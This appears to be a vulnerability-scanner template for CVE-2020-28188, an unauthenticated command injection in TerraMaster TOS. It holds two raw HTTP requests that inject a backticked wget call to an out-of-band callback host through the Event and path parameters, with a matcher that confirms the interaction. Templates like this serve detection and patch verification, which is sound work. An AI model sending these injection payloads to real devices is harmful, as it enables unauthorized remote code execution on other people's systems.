id: CVE-2020-28188

info:
  name: TerraMaster TOS - Unauthenticated Remote Command Execution
  author: gy741
  severity: critical
  description: Remote Command Execution (RCE) vulnerability in TerraMaster TOS <= 4.2.06 allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php in Event parameter.
  reference:
    - https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
    - https://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html
    - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
  tags: cve,cve2020,terramaster,rce,oast
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-28188
    cwe-id: CWE-78

requests:
  - raw:
      - |
        GET /include/makecvs.php?Event=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /tos/index.php?explorer/pathList&path=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"